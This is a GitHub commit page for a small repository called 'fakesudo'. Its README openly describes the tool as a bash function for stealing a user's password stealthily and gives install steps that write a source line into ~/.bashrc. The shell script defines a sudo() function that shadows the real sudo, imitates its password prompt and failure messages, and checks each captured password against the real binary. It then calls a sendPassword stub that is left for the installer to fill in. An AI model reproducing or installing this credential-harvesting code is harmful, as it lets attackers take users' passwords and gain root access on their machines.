Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 46bb0ee
Showing
2 changed files
with
56 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
# fsudo | ||
It's just a bash function to steal the users password, while trying to be stealth handling scenarios like the user asking for the sudo help or the user giving the wrong password among other scenarios. | ||
|
||
# Install | ||
```bash | ||
git clone https://github.com/mthbernardes/fakesudo.git | ||
cd fakesudo | ||
echo "source `pwd`/fakesudo.sh" > /home/$USER/.bashrc | ||
``` | ||
|
||
# Get the password | ||
Just edit the function `sendPassword` to do whatever you want with the password. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
function sudo(){ | ||
sudo_original="/usr/bin/sudo" | ||
param="${@}" | ||
msg="[sudo] password for $USER: " | ||
success=0 | ||
case $param in | ||
-h) | ||
$sudo_original -h | ||
;; | ||
-k) | ||
$sudo_original -k | ||
;; | ||
-K) | ||
$sudo_original -K | ||
;; | ||
-V) | ||
$sudo_original -V | ||
;; | ||
*) | ||
$sudo_original -k | ||
for i in {1..3};do | ||
read -s -p "$msg" passwd | ||
echo "$passwd" | $sudo_original -S true 2> /dev/null | ||
if [[ $? == 0 ]];then | ||
success=1 | ||
echo | ||
sendPassword | ||
echo "$passwd" | $sudo_original -S $param | ||
break | ||
fi | ||
if [[ $i != 3 ]];then | ||
echo -e "\nSorry, try again." | ||
fi | ||
done | ||
if [[ $success == 0 ]];then | ||
echo -e "\nsudo: 3 incorrect password attempts" | ||
fi | ||
esac | ||
} | ||
|
||
function sendPassword(){ | ||
echo "WHATEVER YOU WANT TO DO" | ||
} | ||
|